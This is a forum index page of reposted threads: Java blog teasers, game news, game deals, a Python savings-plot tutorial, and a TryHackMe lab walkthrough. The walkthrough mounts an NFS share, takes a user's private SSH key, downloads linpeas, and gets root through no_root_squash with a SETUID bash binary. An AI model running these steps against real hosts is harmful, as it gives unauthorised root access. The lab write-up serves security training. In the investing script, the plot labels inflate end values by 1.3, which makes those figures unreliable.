Create an account


Welcome, Guest
You have to register before you can post on our site.

Username
  

Password
  





Search Forums

(Advanced Search)

Forum Statistics
» Members: 20,114
» Latest member: gfhfhfh
» Forum threads: 21,709
» Forum posts: 22,575

Full Statistics

Online Users
There are currently 595 online users.
» 0 Member(s) | 591 Guest(s)
Applebot, Baidu, Bing, Google

 
  [Oracle Blog] Microservices, Spring boot and Java
Posted by: xSicKxBot - 01-08-2023, 01:35 PM - Forum: Java Language, JVM, and the JRE - No Replies

Microservices, Spring boot and Java

Looking for an alternative to heavy web servers and the deployment of WAR files to deploy microservices? Spring Boot is one of the ways you can easily create stand-alone applications that will get you up and run quickly. You can create Java applications that start using java -jar. There is no need f...


https://blogs.oracle.com/java/post/micro...t-and-java

Print this item

  [Tut] Hacking Network File System (NFS) – A TryHackMe Walkthrough
Posted by: xSicKxBot - 01-08-2023, 01:35 PM - Forum: Python - No Replies

Hacking Network File System (NFS) – A TryHackMe Walkthrough

5/5 – (1 vote)

YouTube Video

OBJECTIVE



NFS (network file system) is a file system that enables file sharing between computers of different operating systems (Windows/Linux/Mac).

In this practice box from TryHackMe, we will hack into NFS and exploit a misconfiguration (No-root Squash) to obtain root access and find our final root.txt flag.

WHAT IS NO-ROOT SQUASH?



No-root Squash is an uncommon configuration (some might say a misconfiguration) on the NFS file system.

When enabled, it allows remote users to change file permissions on any file and also to add a SETUID bit to effectively run programs as the root user. Normally it is disabled to protect against hackers, and all root-created files are assigned to an unprivileged owner named nfsnobody.

? Recommended: If you are interested in learning more technical details about how this works, I’d recommend this article on no_root_squash and other configuration options when using NFS.

ENUMERATION



We’ll start with a standard Nmap scan of all ports with the -p- flag:

nmap $targetIP -p-

The scan shows an nfs service running on port. Let’s find out what directories are mountable with the command:

showmount -e $targetIP

(-e for exports)


Let’s go ahead and mount the /home directory to our target machine. I’m using Parrot OS virtual machine with a Mate desktop environment running in Gnome Boxes. We can mount the nfs directory directly to our local filesystem with the command:

mount -t nfs $targetIP:/home /mount

(-t indicates filetype) 

And now we can continue further enumeration by poking around the filesystem.

cd /mount
ls -la

We find a user folder in the home directory, cappuccino and a hidden directory .ssh. Inside the directory there is an id_rsa file that holds a private ssh key.

INITIAL FOOTHOLD – USER CAPPUCCINO 



After copying the id_rsa over to our target machine, we can ssh into cappuccino’s account with this command:

ssh -i id_rsa cappuccino@$targetIP

ENUMERATING PRIVILEGE ESCALATION ATTACK VECTORS WITH LINPEAS



Now that we have our initial foothold, we can grab a copy of the well-known script linpeas.sh from the official git repo and use it to automate the enumeration of attack vectors for privilege escalation on the target machine. We’ll navigate to the /mount folder and use the command wget on our attack machine for this:

sudo wget https://github.com/carlospolop/PEASS-ng/...linpeas.sh 

Before running the sh program from our target machine, we need to add execute permissions to the file from our attack machine.

The beauty of mounting NFS file systems in Linux is evident here as we can easily add permissions to linpeas.sh from our attack machine to set up the program to be executable on the target machine.

chmod +x linpeas.sh

Now that linpeas.sh is located in the /home folder of the target machine, we can run it to start the automated enumeration:

./linpeas.sh

This will dump a long text file full of details about the target machine. The most interesting things for privilege escalation are highlighted in yellow with red text.

Scrolling through the results, we quickly find the no_root_squash listed under NFS. We will now move forward and exploit this misconfiguration, allowing us to escalate privileges to the root user.


EXPLOITING NO_ROOT_SQUASH



First, let’s grab the bash executable for Ubuntu Server 18.04 from the link on TryHackMe.

Sudo wget https://github.com/TheRealPoloMints/Blog...s%202/bash

Now we add the SETUID bit to the file bash and make it executable. This is the key to gaining root access with no_root_squash.

sudo chmod +sx bash

Running bash now from our target machine doesn’t seem to change us to the root user yet.

./bash

The final trick we need to use is to enable persistence mode with the flag -p


If you liked this tutorial, you’d probably love my video walkthrough as well:

? Recommended Tutorial: Alice in Wonderland — TryHackMe



https://www.sickgaming.net/blog/2023/01/...lkthrough/

Print this item

  News - Valorant Introduces A New Map In Episode 6 Act 1
Posted by: xSicKxBot - 01-08-2023, 01:34 PM - Forum: Lounge - No Replies

Valorant Introduces A New Map In Episode 6 Act 1

Riot Games has announced Lotus, the ninth map to be introduced in Valorant. In addition to introducing a new map, Episode 6 Act 1, set to go live on January 10, will feature a new battle pass and Araxys skin line.

Lotus will be a three-site map similar to Haven and is set in Omega Earth's India, specifically in the Western Ghats. The map will also have inspired traditional Indian step wells and rock-cut Dravidian architecture. Players will also be able to utilize new mechanics such as rotating doors, destructible doors/walls, and a silent drop on Lotus.

Lotus will be the ninth map in Valorant.
Lotus will be the ninth map in Valorant.

The new battle pass will cost 1,000 VP, amounting to $10. Players can earn free rewards such as the 9 Lives Classic Gun Skin, Big Announcement Gun Buddy, PlayZilla Dan Card, and the Shock Heart Spray. Those who purchase the battle pass can earn items such as the Venturi Vandal, Venturi Knife, Rift Rider Card, Perfectly Roasted Spray, and Folded Wish Gun Buddy.

Continue Reading at GameSpot

https://www.gamespot.com/articles/valora...01-10abi2f

Print this item

  [Oracle Blog] Test Embed Tweets
Posted by: xSicKxBot - 01-07-2023, 04:33 AM - Forum: Java Language, JVM, and the JRE - No Replies

Test Embed Tweets

#JavaEE 8 Update session at #JavaOnehttps://t.co/5P7E7b92Og pic.twitter.com/gPCZCyzon4 — Java (@java) September 2, 2016 The Java Trove: explore libraries that will improve your productivity. #Java @aalmiray https://t.co/B7WIuRUjRi pic.twitter.com/kCbqmuE0kj — Java (@java) August 31, 2016 Check out t...


https://blogs.oracle.com/java/post/test-embed-tweets

Print this item

  [Tut] Strategic Investing with Python: Ensuring Your Kids Have $70k at 21
Posted by: xSicKxBot - 01-07-2023, 04:33 AM - Forum: Python - No Replies

Strategic Investing with Python: Ensuring Your Kids Have $70k at 21

5/5 – (2 votes)

As a parent, planning for your children’s future is one of the most important things you can do.

To ensure they have the best possible start in life, I’ve been looking into ways to invest money to provide them with a lump sum of $70k when they reach 21. But I don’t want to spend that much money at once when they turn 21.

So what to do?

In this blog post, I’ll be exploring how Python helped me figure out a simple investment plan, so I can give my kids a nice nest egg without needing to spend a lot of our (parents’) money at once.

? Result: I need to set up a savings plan contributing $90 per month for 21 years in a vehicle earning 9% per year (e.g., S&P500 ETF), so my kids get a $70k nest egg when they start into their own lives.


Here’s the Python code — I’ll explain it in a moment:

import matplotlib.pyplot as plt
import numpy as np # Define initial investment value, investment return, and monthly contributions
initial_investment = 1000
investment_return = 0.09
monthly_contributions = [30,60,90]
num_years = 21 # Create list of portfolio values over time for each savings rate
portfolio_values = []
for contribution in monthly_contributions: portfolio = [initial_investment] portfolio_value = initial_investment for i in range(1,num_years-1): portfolio_value = portfolio_value * (1 + investment_return) + contribution * 12 portfolio.append(portfolio_value) portfolio_values.append(portfolio) # Plot portfolio values over time
time = np.arange(1,num_years)
for i in range(len(monthly_contributions)): plt.plot(time, portfolio_values[i], label='$' + str(monthly_contributions[i]) + '/m')
plt.title('Portfolio Value over Time')
plt.xlabel('Time (years)')
plt.ylabel('Portfolio Value ($)') # Add end value labels
for i in range(len(monthly_contributions)): plt.text(num_years-3, portfolio_values[i][-1], '$' + str(int(portfolio_values[i][-1]*1.3))) plt.legend()
plt.show()

Result:


This code snippet plots the value of a portfolio for different monthly contributions over a period of 21 years.

You specify the

  • initial investment value,
  • investment return,
  • number of years, and
  • monthly contributions.

Then, you create a list to store the portfolio values over time for each monthly contribution.

You calculate the portfolio values by multiplying the previous value of the portfolio by the investment return plus the contribution for each month. You repeat this calculation over the number of years minus one, taking the initial investment into account.

You use Matplotlib to plot the portfolio values. The x-axis is the time in years and the y-axis is the portfolio value in dollars.

? Recommended Tutorial: A Video Guide on Matplotlib

You add a title and labels to the plot. You also add the end value for each of the portfolios to the plot with a text label. Finally, you display the plot.

Action Steps



  • Copy the code into your own Python script.
  • Figure out your (base) investment goals for your kids or yourself. What do you need to accomplish? What would be your dream outcome?
  • Change the input values until you’re happy with your results.

You can check out our Finxter Academy course on Matplotlib to learn all you need to use plotting and data visualization in Python.


This is part of our 100 practical Python projects series. Subscribe here.



https://www.sickgaming.net/blog/2023/01/...70k-at-21/

Print this item

  (Indie Deal) FREE Glorkian Warrior & THQ Nordic Sale
Posted by: xSicKxBot - 01-07-2023, 04:33 AM - Forum: Deals or Specials - No Replies

FREE Glorkian Warrior & THQ Nordic Sale

Glorkian Warrior: The Trials Of Glork FREEbie
[freebies.indiegala.com]

https://www.youtube.com/watch?v=GHXtyxULPX0
THQ Nordic Winter Sale, up to 80% OFF
[www.indiegala.com]
Raiser Games Winter Sale, up to 90% off
[www.indiegala.com]
https://www.youtube.com/watch?v=vRXGPwyfTCc


https://steamcommunity.com/groups/indieg...2373191380

Print this item

  News - The Last Of Us TV Series Writer Teases Changes From The Game
Posted by: xSicKxBot - 01-07-2023, 04:33 AM - Forum: Lounge - No Replies

The Last Of Us TV Series Writer Teases Changes From The Game

HBO's long-awaited The Last of Us TV series premieres on January 15, and a new behind-the-scenes video teases more of what to expect, including changes from the game it's based on.

Writer and producer Craig Mazin says in the video that he and the team have made thoughtful changes in order to adapt the game for TV. This includes adding "more" than what fans know from the game.

"When you're adapting something like a video game, changes have to be done smartly. We are telling more. There is so much in between," Mazin said.

Continue Reading at GameSpot

https://www.gamespot.com/articles/the-la...01-10abi2f

Print this item

  [Oracle Blog] JavaOne 2017: It’s a Wrap!
Posted by: xSicKxBot - 01-05-2023, 09:51 PM - Forum: Java Language, JVM, and the JRE - No Replies

JavaOne 2017: It’s a Wrap!

We hope you have enjoyed the online sessions. There’s nothing quite like the concentrated brain power and knowledge-sharing found there. It is especially true of JavaOne, where the global community of Java developers meets. Plan to attend the conference next year! Stay connected with Java online and...


https://blogs.oracle.com/java/post/javao...its-a-wrap

Print this item

  (Indie Deal) Rocket Arena Bundle & Winter Sales nearly over
Posted by: xSicKxBot - 01-05-2023, 09:50 PM - Forum: Deals or Specials - No Replies

Rocket Arena Bundle & Winter Sales nearly over

Rocket Arena Bundle | 9 Steam Games | 96% OFF
[www.indiegala.com]
Launching into the stratosphere, an indie arena filled with video games that will boost your mood: 30 days to survive, Dangerous Lands, 3D Gravity Rocket, SEARCH ALL - CHRISTMAS, Good puzzle, Easy puzzle: Landscape, Animals Memory: Monkeys, Trap Arena & Unmanned helicopter.

Bethesda Giveaways
[www.indiegala.com]

Winter Sales nearly over
[www.indiegala.com]
Don't forget you may get up to 3 extra BONUS games with each purchase.
[www.indiegala.com]


https://steamcommunity.com/groups/indieg...0222813373

Print this item

  News - See Nicolas Cage As Dracula In First Renfield Trailer
Posted by: xSicKxBot - 01-05-2023, 09:50 PM - Forum: Lounge - No Replies

See Nicolas Cage As Dracula In First Renfield Trailer

Count Dracula is one of pop culture's most famous characters and villains, having been portrayed by countless actors for almost 100 years now in every form of media. It's now Nic Cage's turn to don the fangs and gaudy jewelry of the vampire lord in director Chris McKay's Renfield.

In this version, we see that Dracula's assistant Renfield (Nicholas Hoult) is trying to separate himself from his master and forge a life of his own, but the two are forever bonded through dark magic. Through this bond, Dracula knows where he is at all times, can communicate via telepathy, and has given Renfield his own set of powers.

McKay along with screenwriters Robert Kirkman (Prime Video's Invincible) and Ryan Ridley (Rick and Morty) are going the more comedic route here and set it in a more contemporary time. The usual Dracula cast of Jonathan Harker, Mina Murray, and Abraham Van Helsing is nowhere to be seen, but that's more than okay since Renfield was Dracula's herald before the events of the book took place.

Continue Reading at GameSpot

https://www.gamespot.com/articles/see-ni...01-10abi2f

Print this item

 
Latest Threads
(Free Game Key) [GOG] Sil...
Last Post: xSicKxBot
1 hour ago
News - $2.50 Steam Sale H...
Last Post: xSicKxBot
1 hour ago
Forza Horizon 5 Game Save...
Last Post: poxah56770
11 hours ago
(Xbox One) Vantage - Mod ...
Last Post: levihaxk
Today, 03:59 AM
News - Christopher Nolan’...
Last Post: xSicKxBot
Today, 03:31 AM
News - GameStop Is Not Hu...
Last Post: xSicKxBot
Yesterday, 11:06 AM
News - Subnautica 2’s Leg...
Last Post: xSicKxBot
07-05-2026, 06:45 PM
Redacted T6 Nightly Offli...
Last Post: Ngixk0
07-05-2026, 03:21 PM
News - Sony To End PlaySt...
Last Post: xSicKxBot
07-05-2026, 02:23 AM
Black Ops (BO1, T5) DLC's...
Last Post: BrookesBot
07-04-2026, 06:29 PM

Forum software by © MyBB Theme © iAndrew 2016